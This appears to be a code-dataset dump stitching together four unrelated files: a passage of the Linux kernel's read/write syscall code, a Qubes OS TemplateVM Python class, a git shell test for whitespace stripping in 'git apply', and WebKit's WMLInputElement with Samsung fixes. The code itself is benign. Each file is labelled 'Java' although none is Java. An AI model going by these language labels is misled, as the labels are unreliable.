security_file_permission(file, read_write == READ ? MAY_READ : MAY_WRITE); if (retval) return retval; return count > MAX_RW_COUNT ? MAX_RW_COUNT : count; } static void wait_on_retry_sync_kiocb(struct kiocb *iocb) { set_current_state(TASK_UNINTERRUPTIBLE); if (!kiocbIsKicked(iocb)) schedule(); else kiocbClearKicked(iocb); __set_current_state(TASK_RUNNING); } ssize_t do_sync_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos) { struct iovec iov = { .iov_base = buf, .iov_len = len }; struct kiocb kiocb; ssize_t ret; init_sync_kiocb(&kiocb, filp); kiocb.ki_pos = *ppos; kiocb.ki_left = len; for (;;) { ret = filp->f_op->aio_read(&kiocb, &iov, 1, kiocb.ki_pos); if (ret != -EIOCBRETRY) break; wait_on_retry_sync_kiocb(&kiocb); } if (-EIOCBQUEUED == ret) ret = wait_on_sync_kiocb(&kiocb); *ppos = kiocb.ki_pos; return ret; } EXPORT_SYMBOL(do_sync_read); ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos) { ssize_t ret; if (!(file->f_mode & FMODE_READ)) return -EBADF; if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read)) return -EINVAL; if (unlikely(!access_ok(VERIFY_WRITE, buf, count))) return -EFAULT; ret = rw_verify_area(READ, file, pos, count); if (ret >= 0) { count = ret; if (file->f_op->read) ret = file->f_op->read(file, buf, count, pos); else ret = do_sync_read(file, buf, count, pos); if (ret > 0) { fsnotify_access(file->f_path.dentry); add_rchar(current, ret); } inc_syscr(current); } return ret; } EXPORT_SYMBOL(vfs_read); ssize_t do_sync_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos) { struct iovec iov = { .iov_base = (void __user *)buf, .iov_len = len }; struct kiocb kiocb; ssize_t ret; init_sync_kiocb(&kiocb, filp); kiocb.ki_pos = *ppos; kiocb.ki_left = len; for (;;) { ret = filp->f_op->aio_write(&kiocb, &iov, 1, kiocb.ki_pos); if (ret != -EIOCBRETRY) break; wait_on_retry_sync_kiocb(&kiocb); } if (-EIOCBQUEUED == ret) ret = wait_on_sync_kiocb(&kiocb); *ppos = kiocb.ki_pos; return ret; } EXPORT_SYMBOL(do_sync_write); ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos) { ssize_t ret; if (!(file->f_mode & FMODE_WRITE)) return -EBADF; if (!file->f_op || (!file->f_op->write && !file->f_op->aio_write)) return -EINVAL; if (unlikely(!access_ok(VERIFY_READ, buf, count))) return -EFAULT; ret = rw_verify_area(WRITE, file, pos, count); if (ret >= 0) { count = ret; if (file->f_op->write) ret = file->f_op->write(file, buf, count, pos); else ret = do_sync_write(file, buf, count, pos); if (ret > 0) { fsnotify_modify(file->f_path.dentry); add_wchar(current, ret); } inc_syscw(current); } return ret; } EXPORT_SYMBOL(vfs_write); static inline loff_t file_pos_read(struct file *file) { return file->f_pos; } static inline void file_pos_write(struct file *file, loff_t pos) { file->f_pos = pos; } SYSCALL_DEFINE3(read, unsigned int, fd, char __user *, buf, size_t, count) { struct file *file; ssize_t ret = -EBADF; int fput_needed; file = fget_light(fd, &fput_needed); if (file) { loff_t pos = file_pos_read(file); ret = vfs_read(file, buf, count, &pos); trace_fs_read(fd, buf, count, ret); file_pos_write(file, pos); fput_light(file, fput_needed); } return ret; } SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count) { struct file *file; ssize_t ret = -EBADF; int fput_needed; file = fget_light(fd, &fput_needed); if (file) { loff_t pos = file_pos_read(file); ret = vfs_write(file, buf, count, &pos); trace_fs_write(fd, buf, count, ret); file_pos_write(file, pos); fput_light(file, fput_needed); } return ret; } SYSCALL_DEFINE(pread64)(unsigned int fd, char __user *buf, size_t count, loff_t pos) { struct file *file; ssize_t ret = -EBADF; int fput_needed; if (pos < 0) return -EINVAL; file = fget_light(fd, &fput_needed); if (file) { ret = -ESPIPE; if (file->f_mode & FMODE_PREAD) { ret = vfs_read(file, buf, count, &pos); trace_fs_pread64(fd, buf, count, pos, ret); } fput_light(file, fput_needed); } return ret; } #ifdef CONFIG_HAVE_SYSCALL_WRAPPERS asmlinkage long SyS_pread64(long fd, long buf, long count, loff_t pos) { return SYSC_pread64((unsigned int) fd, (char __user *) buf, (size_t) count, pos); } SYSCALL_ALIAS(sys_pread64, SyS_pread64); #endif SYSCALL_DEFINE(pwrite64)(unsigned int fd, const char __user *buf, size_t count, loff_t pos) { struct file *file; ssize_t ret = -EBADF; int fput_needed; if (pos < 0) return -EINVAL; file = fget_light(fd, &fput_needed); if (file) { ret = -ESPIPE; if (file->f_mode & FMODE_PWRITE) { ret = vfs_write(file, buf, count, &pos); trace_fs_pwrite64(fd, buf, count, pos, ret); } fput_light(file, fput_needed); } return ret; } #ifdef CONFIG_HAVE_SYSCALL_WRAPPERS asmlinkage long SyS_pwrite64(long fd, long buf, long count, loff_t pos) { return SYSC_pwrite64((unsigned int) fd, (const char __user *) buf, (size_t) count, pos); } SYSCALL_ALIAS(sys_pwrite64, SyS_pwrite64); #endif /* * Reduce an iovec's length in-place. Return the resulting number of segments */ unsigned long iov_shorten(struct iovec *iov, unsigned long nr_segs, size_t to) { unsigned long seg = 0; size_t len = 0; while (seg < nr_segs) { seg++; if (len + iov->iov_len >= to) { iov->iov_len = to - len; break; } len += iov->iov_len; iov++; } return seg; } EXPORT_SYMBOL(iov_shorten); ssize_t do_sync_readv_writev(struct file *filp, const struct iovec *iov, unsigned long nr_segs, size_t len, loff_t *ppos, iov_fn_t fn) { struct kiocb kiocb; ssize_t ret; init_sync_kiocb(&kiocb, filp); kiocb.ki_pos = *ppos; kiocb.ki_left = len; kiocb.ki_nbytes = len; for (;;) { ret = fn(&kiocb, iov, nr_segs, kiocb.ki_pos); if (ret != -EIOCBRETRY) break; wait_on_retry_sync_kiocb(&kiocb); } if (ret == -EIOCBQUEUED) ret = wait_on_sync_kiocb(&kiocb); *ppos = kiocb.ki_pos; return ret; } /* Do it by hand, with file-ops */ ssize_t do_loop_readv_writev(struct file *filp, struct iovec *iov, unsigned long nr_segs, loff_t *ppos, io_fn_t fn) { struct iovec *vector = iov; ssize_t ret = 0; while (nr_segs > 0) { void __user *base; size_t len; ssize_t nr; base = vector->iov_base; len = vector->iov_len; vector++; nr_segs--; nr = fn(filp, base, len, ppos); if (nr < 0) { if (!ret) ret = nr; break; } ret += nr; if (nr != len) break; } return ret; } /* A write operation does a read from user space and vice versa */ #define vrfy_dir(type) ((type) == READ ? VERIFY_WRITE : VERIFY_READ) ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector, unsigned long nr_segs, unsigned long fast_segs, struct iovec *fast_pointer, struct iovec **ret_pointer) { unsigned long seg; ssize_t ret; struct iovec *iov = fast_pointer; /* * SuS says "The readv() function *may* fail if the iovcnt argument * was less than or equal to 0, or greater than {IOV_MAX}. Linux has * traditionally returned zero for zero segments, so... */ if (nr_segs == 0) { ret = 0; goto out; } /* * First get the "struct iovec" from user memory and * verify all the pointers */ if (nr_segs > UIO_MAXIOV) { ret = -EINVAL; goto out; } if (nr_segs > fast_segs) { iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL); if (iov == NULL) { ret = -ENOMEM; goto out; } } if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) { ret = -EFAULT; goto out; } /* * According to the Single Unix Specification we should return EINVAL * if an element length is < 0 when cast to ssize_t or if the * total length would overflow the ssize_t return value of the * system call. */ ret = 0; for (seg = 0; seg < nr_segs; seg++) { void __user *buf = iov[seg].iov_base; ssize_t len = (ssize_t)iov[seg].iov_len; /* see if we we're about to use an invalid len or if * it's about to overflow ssize_t */ if (len < 0 || (ret + len < ret)) { ret = -EINVAL; goto out; } if (unlikely(!access_ok(vrfy_dir(type), buf, len))) { ret = -EFAULT; goto out; } ret += len; } out: *ret_pointer = iov; return ret; } static ssize_t do_readv_writev(int type, struct file *file, const struct iovec __user * uvector, unsigned long nr_segs, loff_t *pos) { size_t tot_len; struct iovec iovstack[UIO_FASTIOV]; struct iovec *iov = iovstack; ssize_t ret; io_fn_t fn; iov_fn_t fnv; if (!file->f_op) { ret = -EINVAL; goto out; } ret = rw_copy_check_uvector(type, uvector, nr_segs, ARRAY_SIZE(iovstack), iovstack, &iov); if (ret <= 0) goto out; tot_len = ret; ret = rw_verify_area(type, file, pos, tot_len); if (ret < 0) goto out; fnv = NULL; if (type == READ) { fn = file->f_op->read; fnv = file->f_op->aio_read; } else { fn = (io_fn_t)file->f_op->write; fnv = file->f_op->aio_write; } if (fnv) ret = do_sync_readv_writev(file, iov, nr_segs, tot_len, pos, fnv); else ret = do_loop_readv_writev(file, iov, nr_segs, pos, fn); out: if (iov != iovstack) kfree(iov); if ((ret + (type == READ)) > 0) { if (type == READ) fsnotify_access(file->f_path.dentry); else fsnotify_modify(file->f_path.dentry); } return ret; } ssize_t vfs_readv(struct file *file, const struct iovec __user *vec, unsigned long vlen, loff_t *pos) { if (!(file->f_mode & FMODE_READ)) return -EBADF; if (!file->f_op || (!file->f_op->aio_read && !file->f_op->read)) return -EINVAL; return do_readv_writev(READ, file, vec, vlen, pos); } EXPORT_SYMBOL(vfs_readv); ssize_t vfs_writev(struct file *file, const struct iovec __user *vec, unsigned long vlen, loff_t *pos) { if (!(file->f_mode & FMODE_WRITE)) return -EBADF; if (!file->f_op || (!file->f_op->aio_write && !file->f_op->write)) return -EINVAL; return do_readv_writev(WRITE, file, vec, vlen, pos); } EXPORT_SYMBOL(vfs_writev); SYSCALL_DEFINE3(readv, unsigned long, fd, const struct iovec __user *, vec, unsigned long, vlen) { struct file *file; ssize_t ret = -EBADF; int fput_needed; file = fget_light(fd, &fput_needed); if (file) { loff_t pos = file_pos_read(file); ret = vfs_readv(file, vec, vlen, &pos); trace_fs_readv(fd, vec, vlen, ret); file_pos_write(file, pos); fput_light(file, fput_needed); } if (ret > 0) add_rchar(current, ret); inc_syscr(current); return ret; } SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec, unsigned long, vlen) { struct file *file; ssize_t ret = -EBADF; int fput_needed; file = fget_light(fd, &fput_needed); if (file) { loff_t pos = file_pos_read(file); ret = vfs_writev(file, vec, vlen, &pos); trace_fs_writev(fd, vec, vlen, ret); file_pos_write(file, pos); fput_light(file, fput_needed); } if (ret > 0) add_wchar(current, ret); inc_syscw(current); return ret; } static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos, size_t count, loff_t max) { struct file * in_file, * out_file; struct inode * in_inode, * out_inode; loff_t pos; ssize_t retval; int fput_needed_in, fput_needed_out, fl; /* * Get input file, and verify that it is ok.. */ retval = -EBADF; in_file = fget_light(in_fd, &fput_needed_in); if (!in_file) goto out; if (!(in_file->f_mode & FMODE_READ)) goto fput_in; retval = -EINVAL; in_inode = in_file->f_path.dentry->d_inode; if (!in_inode) goto fput_in; if (!in_file->f_op || !in_file->f_op->splice_read) goto fput_in; retval = -ESPIPE; if (!ppos) ppos = &in_file->f_pos; else if (!(in_file->f_mode & FMODE_PREAD)) goto fput_in; retval = rw_verify_area(READ, in_file, ppos, count); if (retval < 0) goto fput_in; count = retval; /* * Get output file, and verify that it is ok.. */ retval = -EBADF; out_file = fget_light(out_fd, &fput_needed_out); if (!out_file) goto fput_in; if (!(out_file->f_mode & FMODE_WRITE)) goto fput_out; retval = -EINVAL; if (!out_file->f_op || !out_file->f_op->sendpage) goto fput_out; out_inode = out_file->f_path.dentry->d_inode; retval = rw_verify_area(WRITE, out_file, &out_file->f_pos, count); if (retval < 0) goto fput_out; count = retval; if (!max) max = min(in_inode->i_sb->s_maxbytes, out_inode->i_sb->s_maxbytes); pos = *ppos; retval = -EINVAL; if (unlikely(pos < 0)) goto fput_out; if (unlikely(pos + count > max)) { retval = -EOVERFLOW; if (pos >= max) goto fput_out; count = max - pos; } fl = 0; #if 0 /* * We need to debate whether we can enable this or not. The * man page documents EAGAIN return for the output at least, * and the application is arguably buggy if it doesn't expect * EAGAIN on a non-blocking file descriptor. */ if (in_file->f_flags & O_NONBLOCK) fl = SPLICE_F_NONBLOCK; #endif retval = do_splice_direct(in_file, ppos, out_file, count, fl); if (retval > 0) { add_rchar(current, retval); add_wchar(current, retval); } inc_syscr(current); inc_syscw(current); if (*ppos > max) retval = -EOVERFLOW; fput_out: fput_light(out_file, fput_needed_out); fput_in: fput_light(in_file, fput_needed_in); out: return retval; } SYSCALL_DEFINE4(sendfile, int, out_fd, int, in_fd, off_t __user *, offset, size_t, count) { loff_t pos; off_t off; ssize_t ret; if (offset) { if (unlikely(get_user(off, offset))) return -EFAULT; pos = off; ret = do_sendfile(out_fd, in_fd, &pos, count, MAX_NON_LFS); if (unlikely(put_user(pos, offset))) return -EFAULT; return ret; } return do_sendfile(out_fd, in_fd, NULL, count, 0); } SYSCALL_DEFINE4(sendfile64, int, out_fd, int, in_fd, loff_t __user *, offset, size_t, count) { loff_t pos; ssize_t ret; if (offset) { if (unlikely(copy_from_user(&pos, offset, sizeof(loff_t)))) return -EFAULT; ret = do_sendfile(out_fd, in_fd, &pos, count, 0); if (unlikely(put_user(pos, offset))) return -EFAULT; return ret; } return do_sendfile(out_fd, in_fd, NULL, count, 0); }
Java
# # The Qubes OS Project, http://www.qubes-os.org # # Copyright (C) 2014-2016 Wojtek Porczyk <woju@invisiblethingslab.com> # Copyright (C) 2016 Marek Marczykowski <marmarek@invisiblethingslab.com>) # Copyright (C) 2016 Bahtiar `kalkin-` Gadimov <bahtiar@gadimov.de> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, see <https://www.gnu.org/licenses/>. # ''' This module contains the TemplateVM implementation ''' import qubes import qubes.config import qubes.vm.qubesvm import qubes.vm.mix.net from qubes.config import defaults from qubes.vm.qubesvm import QubesVM class TemplateVM(QubesVM): '''Template for AppVM''' dir_path_prefix = qubes.config.system_path['qubes_templates_dir'] @property def appvms(self): ''' Returns a generator containing all domains based on the current TemplateVM. ''' for vm in self.app.domains: if hasattr(vm, 'template') and vm.template is self: yield vm netvm = qubes.VMProperty('netvm', load_stage=4, allow_none=True, default=None, # pylint: disable=protected-access setter=qubes.vm.qubesvm.QubesVM.netvm._setter, doc='VM that provides network connection to this domain. When ' '`None`, machine is disconnected.') def __init__(self, *args, **kwargs): assert 'template' not in kwargs, "A TemplateVM can not have a template" self.volume_config = { 'root': { 'name': 'root', 'snap_on_start': False, 'save_on_stop': True, 'rw': True, 'source': None, 'size': defaults['root_img_size'], }, 'private': { 'name': 'private', 'snap_on_start': False, 'save_on_stop': True, 'rw': True, 'source': None, 'size': defaults['private_img_size'], 'revisions_to_keep': 0, }, 'volatile': { 'name': 'volatile', 'size': defaults['root_img_size'], 'snap_on_start': False, 'save_on_stop': False, 'rw': True, }, 'kernel': { 'name': 'kernel', 'snap_on_start': False, 'save_on_stop': False, 'rw': False } } super(TemplateVM, self).__init__(*args, **kwargs) @qubes.events.handler('property-set:default_user', 'property-set:kernel', 'property-set:kernelopts', 'property-set:vcpus', 'property-set:memory', 'property-set:maxmem', 'property-set:qrexec_timeout', 'property-set:shutdown_timeout', 'property-set:management_dispvm') def on_property_set_child(self, _event, name, newvalue, oldvalue=None): """Send event about default value change to child VMs (which use default inherited from the template). This handler is supposed to be set for properties using `_default_with_template()` function for the default value. """ if newvalue == oldvalue: return for vm in self.appvms: if not vm.property_is_default(name): continue vm.fire_event('property-reset:' + name, name=name)
Java
#!/bin/sh # # Copyright (c) 2007 Junio C Hamano # test_description='git apply --whitespace=strip and configuration file. ' . ./test-lib.sh test_expect_success setup ' mkdir sub && echo A >sub/file1 && cp sub/file1 saved && git add sub/file1 && echo "B " >sub/file1 && git diff >patch.file ' # Also handcraft GNU diff output; note this has trailing whitespace. tr '_' ' ' >gpatch.file <<\EOF && --- file1 2007-02-21 01:04:24.000000000 -0800 +++ file1+ 2007-02-21 01:07:44.000000000 -0800 @@ -1 +1 @@ -A +B_ EOF sed -e 's|file1|sub/&|' gpatch.file >gpatch-sub.file && sed -e ' /^--- /s|file1|a/sub/&| /^+++ /s|file1|b/sub/&| ' gpatch.file >gpatch-ab-sub.file && check_result () { if grep " " "$1" then echo "Eh?" false elif grep B "$1" then echo Happy else echo "Huh?" false fi } test_expect_success 'apply --whitespace=strip' ' rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && git apply --whitespace=strip patch.file && check_result sub/file1 ' test_expect_success 'apply --whitespace=strip from config' ' rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && git config apply.whitespace strip && git apply patch.file && check_result sub/file1 ' D=$(pwd) test_expect_success 'apply --whitespace=strip in subdir' ' cd "$D" && git config --unset-all apply.whitespace && rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && cd sub && git apply --whitespace=strip ../patch.file && check_result file1 ' test_expect_success 'apply --whitespace=strip from config in subdir' ' cd "$D" && git config apply.whitespace strip && rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && cd sub && git apply ../patch.file && check_result file1 ' test_expect_success 'same in subdir but with traditional patch input' ' cd "$D" && git config apply.whitespace strip && rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && cd sub && git apply ../gpatch.file && check_result file1 ' test_expect_success 'same but with traditional patch input of depth 1' ' cd "$D" && git config apply.whitespace strip && rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && cd sub && git apply ../gpatch-sub.file && check_result file1 ' test_expect_success 'same but with traditional patch input of depth 2' ' cd "$D" && git config apply.whitespace strip && rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && cd sub && git apply ../gpatch-ab-sub.file && check_result file1 ' test_expect_success 'same but with traditional patch input of depth 1' ' cd "$D" && git config apply.whitespace strip && rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && git apply -p0 gpatch-sub.file && check_result sub/file1 ' test_expect_success 'same but with traditional patch input of depth 2' ' cd "$D" && git config apply.whitespace strip && rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && git apply gpatch-ab-sub.file && check_result sub/file1 ' test_expect_success 'in subdir with traditional patch input' ' cd "$D" && git config apply.whitespace strip && cat >.gitattributes <<-EOF && /* whitespace=blank-at-eol sub/* whitespace=-blank-at-eol EOF rm -f sub/file1 && cp saved sub/file1 && git update-index --refresh && cd sub && git apply ../gpatch.file && echo "B " >expect && test_cmp expect file1 ' test_done
Java
/** * Copyright (C) 2008, 2009 Torch Mobile Inc. All rights reserved. (http://www.torchmobile.com/) * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public License * along with this library; see the file COPYING.LIB. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. * */ #include "config.h" #if ENABLE(WML) #include "WMLInputElement.h" #include "EventNames.h" #include "FormDataList.h" #include "Frame.h" #include "HTMLNames.h" #include "KeyboardEvent.h" #include "MappedAttribute.h" #include "RenderTextControlSingleLine.h" #include "TextEvent.h" #include "WMLDocument.h" #include "WMLNames.h" #include "WMLPageState.h" namespace WebCore { WMLInputElement::WMLInputElement(const QualifiedName& tagName, Document* doc) : WMLFormControlElement(tagName, doc) , m_isPasswordField(false) , m_isEmptyOk(false) , m_numOfCharsAllowedByMask(0) { } WMLInputElement::~WMLInputElement() { if (m_isPasswordField) document()->unregisterForDocumentActivationCallbacks(this); } static const AtomicString& formatCodes() { DEFINE_STATIC_LOCAL(AtomicString, codes, ("AaNnXxMm")); return codes; } bool WMLInputElement::isKeyboardFocusable(KeyboardEvent*) const { return WMLFormControlElement::isFocusable(); } bool WMLInputElement::isMouseFocusable() const { return WMLFormControlElement::isFocusable(); } void WMLInputElement::dispatchFocusEvent() { InputElement::dispatchFocusEvent(this, this); WMLElement::dispatchFocusEvent(); } void WMLInputElement::dispatchBlurEvent() { // Firstly check if it is allowed to leave this input field String val = value(); if ( //SAMSUNG_CHANGES_BEGGIN /*(!m_isEmptyOk && val.isEmpty()) || */ //SAMSUNG_CHANGES_END !isConformedToInputMask(val)) { updateFocusAppearance(true); return; } // update the name variable of WML input elmenet String nameVariable = formControlName(); if (!nameVariable.isEmpty()) wmlPageStateForDocument(document())->storeVariable(nameVariable, val); InputElement::dispatchBlurEvent(this, this); WMLElement::dispatchBlurEvent(); } void WMLInputElement::updateFocusAppearance(bool restorePreviousSelection) { InputElement::updateFocusAppearance(m_data, this, this, restorePreviousSelection); } void WMLInputElement::aboutToUnload() { InputElement::aboutToUnload(this, this); } int WMLInputElement::size() const { return m_data.size(); } const AtomicString& WMLInputElement::formControlType() const { // needs to be lowercase according to DOM spec if (m_isPasswordField) { DEFINE_STATIC_LOCAL(const AtomicString, password, ("password")); return password; } DEFINE_STATIC_LOCAL(const AtomicString, text, ("text")); return text; } const AtomicString& WMLInputElement::formControlName() const { return m_data.name(); } const String& WMLInputElement::suggestedValue() const { return m_data.suggestedValue(); } String WMLInputElement::value() const { String value = m_data.value(); if (value.isNull()) value = constrainValue(getAttribute(HTMLNames::valueAttr)); return value; } void WMLInputElement::setValue(const String& value, bool sendChangeEvent) { setFormControlValueMatchesRenderer(false); m_data.setValue(constrainValue(value)); if (inDocument()) document()->updateStyleIfNeeded(); if (renderer()) renderer()->updateFromElement(); setNeedsStyleRecalc(); unsigned max = m_data.value().length(); if (document()->focusedNode() == this) InputElement::updateSelectionRange(this, this, max, max); else cacheSelection(max, max); InputElement::notifyFormStateChanged(this); } // SAMSUNG_WML_FIXES+ // wml/struct/control/input/format/1 void WMLInputElement::setValuePreserveSelectionPos(const String& value) { //InputElement::updatePlaceholderVisibility(m_data, this, this); setFormControlValueMatchesRenderer(false); m_data.setValue(constrainValue(value)); if (inDocument()) document()->updateStyleIfNeeded(); if (renderer()) renderer()->updateFromElement(); setNeedsStyleRecalc(); InputElement::notifyFormStateChanged(this); } // SAMSUNG_WML_FIXES- void WMLInputElement::setValueForUser(const String& value) { /* InputElement class defines pure virtual function 'setValueForUser', which will be useful only in HTMLInputElement. Do nothing in 'WMLInputElement'. */ } void WMLInputElement::setValueFromRenderer(const String& value) { InputElement::setValueFromRenderer(m_data, this, this, value); } bool WMLInputElement::saveFormControlState(String& result) const { if (m_isPasswordField) return false; result = value(); return true; } void WMLInputElement::restoreFormControlState(const String& state) { ASSERT(!m_isPasswordField); // should never save/restore password fields setValue(state, true); } void WMLInputElement::select() { if (RenderTextControl* r = toRenderTextControl(renderer())) r->select(); } void WMLInputElement::accessKeyAction(bool) { // should never restore previous selection here focus(false); } void WMLInputElement::parseMappedAttribute(MappedAttribute* attr) { if (attr->name() == HTMLNames::nameAttr) m_data.setName(parseValueForbiddingVariableReferences(attr->value())); else if (attr->name() == HTMLNames::typeAttr) { String type = parseValueForbiddingVariableReferences(attr->value()); m_isPasswordField = (type == "password"); } else if (attr->name() == HTMLNames::valueAttr) { // We only need to setChanged if the form is looking at the default value right now. if (m_data.value().isNull()) setNeedsStyleRecalc(); setFormControlValueMatchesRenderer(false); } else if (attr->name() == HTMLNames::maxlengthAttr) InputElement::parseMaxLengthAttribute(m_data, this, this, attr); else if (attr->name() == HTMLNames::sizeAttr) InputElement::parseSizeAttribute(m_data, this, attr); else if (attr->name() == WMLNames::formatAttr) m_formatMask = validateInputMask(parseValueForbiddingVariableReferences(attr->value())); else if (attr->name() == WMLNames::emptyokAttr) m_isEmptyOk = (attr->value() == "true"); else WMLElement::parseMappedAttribute(attr); // FIXME: Handle 'accesskey' attribute // FIXME: Handle 'tabindex' attribute // FIXME: Handle 'title' attribute } void WMLInputElement::copyNonAttributeProperties(const Element* source) { const WMLInputElement* sourceElement = static_cast<const WMLInputElement*>(source); m_data.setValue(sourceElement->m_data.value()); WMLElement::copyNonAttributeProperties(source); } RenderObject* WMLInputElement::createRenderer(RenderArena* arena, RenderStyle*) { return new (arena) RenderTextControlSingleLine(this, false); } void WMLInputElement::detach() { WMLElement::detach(); setFormControlValueMatchesRenderer(false); } bool WMLInputElement::appendFormData(FormDataList& encoding, bool) { if (formControlName().isEmpty()) return false; encoding.appendData(formControlName(), value()); return true; } void WMLInputElement::reset() { setValue(String(), true); } void WMLInputElement::defaultEventHandler(Event* evt) { bool clickDefaultFormButton = false; String filteredString; if (evt->type() == eventNames().textInputEvent && evt->isTextEvent()) { TextEvent* textEvent = static_cast<TextEvent*>(evt); if (textEvent->data() == "\n") clickDefaultFormButton = true; // SAMSUNG_WML_FIXES+ // wml/struct/control/input/format/1 // else if (renderer() && !isConformedToInputMask(textEvent->data()[0], toRenderTextControl(renderer())->text().length() + 1)) else if (renderer()) { WMLElement::defaultEventHandler(evt); if (evt->defaultHandled()) { filteredString = filterInvalidChars((toRenderTextControl(renderer()))->text()); setValuePreserveSelectionPos(filteredString); return; } } // SAMSUNG_WML_FIXES- } if (evt->type() == eventNames().keydownEvent && evt->isKeyboardEvent() && focused() && document()->frame() && document()->frame()->doTextFieldCommandFromEvent(this, static_cast<KeyboardEvent*>(evt))) { evt->setDefaultHandled(); return; } // Let the key handling done in EventTargetNode take precedence over the event handling here for editable text fields if (!clickDefaultFormButton) { WMLElement::defaultEventHandler(evt); if (evt->defaultHandled()) return; } // Use key press event here since sending simulated mouse events // on key down blocks the proper sending of the key press event. if (evt->type() == eventNames().keypressEvent && evt->isKeyboardEvent()) { // Simulate mouse click on the default form button for enter for these types of elements. if (static_cast<KeyboardEvent*>(evt)->charCode() == '\r') clickDefaultFormButton = true; } if (clickDefaultFormButton) { // Fire onChange for text fields. RenderObject* r = renderer(); if (r && toRenderTextControl(r)->wasChangedSinceLastChangeEvent()) { dispatchEvent(Event::create(eventNames().changeEvent, true, false)); // Refetch the renderer since arbitrary JS code run during onchange can do anything, including destroying it. r = renderer(); if (r) toRenderTextControl(r)->setChangedSinceLastChangeEvent(false); } evt->setDefaultHandled(); return; } if (evt->isBeforeTextInsertedEvent()) InputElement::handleBeforeTextInsertedEvent(m_data, this, this, evt); if (renderer() && (evt->isMouseEvent() || evt->isDragEvent() || evt->isWheelEvent() || evt->type() == eventNames().blurEvent || evt->type() == eventNames().focusEvent)) toRenderTextControlSingleLine(renderer())->forwardEvent(evt); } void WMLInputElement::cacheSelection(int start, int end) { m_data.setCachedSelectionStart(start); m_data.setCachedSelectionEnd(end); } String WMLInputElement::constrainValue(const String& proposedValue) const { return InputElement::sanitizeUserInputValue(this, proposedValue, m_data.maxLength()); } void WMLInputElement::documentDidBecomeActive() { ASSERT(m_isPasswordField); reset(); } void WMLInputElement::willMoveToNewOwnerDocument() { // Always unregister for cache callbacks when leaving a document, even if we would otherwise like to be registered if (m_isPasswordField) document()->unregisterForDocumentActivationCallbacks(this); WMLElement::willMoveToNewOwnerDocument(); } void WMLInputElement::didMoveToNewOwnerDocument() { if (m_isPasswordField) document()->registerForDocumentActivationCallbacks(this); WMLElement::didMoveToNewOwnerDocument(); } void WMLInputElement::initialize() { String nameVariable = formControlName(); String variableValue; WMLPageState* pageSate = wmlPageStateForDocument(document()); ASSERT(pageSate); if (!nameVariable.isEmpty()) variableValue = pageSate->getVariable(nameVariable); if (variableValue.isEmpty() || !isConformedToInputMask(variableValue)) { String val = value(); if (isConformedToInputMask(val)) variableValue = val; else variableValue = ""; pageSate->storeVariable(nameVariable, variableValue); } setValue(variableValue, true); if (!hasAttribute(WMLNames::emptyokAttr)) { if (m_formatMask.isEmpty() || // check if the format codes is just "*f" (m_formatMask.length() == 2 && m_formatMask[0] == '*' && formatCodes().find(m_formatMask[1]) != -1)) m_isEmptyOk = true; } } String WMLInputElement::validateInputMask(const String& inputMask) { bool isValid = true; bool hasWildcard = false; unsigned escapeCharCount = 0; unsigned maskLength = inputMask.length(); UChar formatCode; for (unsigned i = 0; i < maskLength; ++i) { formatCode = inputMask[i]; if (formatCodes().find(formatCode) == -1) { if (formatCode == '*' || (WTF::isASCIIDigit(formatCode) && formatCode != '0')) { // validate codes which ends with '*f' or 'nf' formatCode = inputMask[++i]; if ((i + 1 != maskLength) || formatCodes().find(formatCode) == -1) { isValid = false; break; } hasWildcard = true; } else if (formatCode == '\\') { //skip over the next mask character ++i; ++escapeCharCount; } else { isValid = false; break; } } } if (!isValid) return String(); // calculate the number of characters allowed to be entered by input mask m_numOfCharsAllowedByMask = maskLength; if (escapeCharCount) m_numOfCharsAllowedByMask -= escapeCharCount; if (hasWildcard) { formatCode = inputMask[maskLength - 2]; if (formatCode == '*') m_numOfCharsAllowedByMask = m_data.maxLength(); else { unsigned leftLen = String(&formatCode).toInt(); m_numOfCharsAllowedByMask = leftLen + m_numOfCharsAllowedByMask - 2; } } return inputMask; } // SAMSUNG_WML_FIXES+ String WMLInputElement::filterInvalidChars(const String& inputChars) { String filteredString; unsigned charCount = 0; for (unsigned i = 0; i < inputChars.length(); ++i) { if (isConformedToInputMask(inputChars[i], charCount+1, false)) { filteredString.append(inputChars[i]); charCount++; } } return filteredString; } // SAMSUNG_WML_FIXES- bool WMLInputElement::isConformedToInputMask(const String& inputChars) { for (unsigned i = 0; i < inputChars.length(); ++i) if (!isConformedToInputMask(inputChars[i], i + 1, false)) return false; return true; } bool WMLInputElement::isConformedToInputMask(UChar inChar, unsigned inputCharCount, bool isUserInput) { if (m_formatMask.isEmpty()) return true; if (inputCharCount > 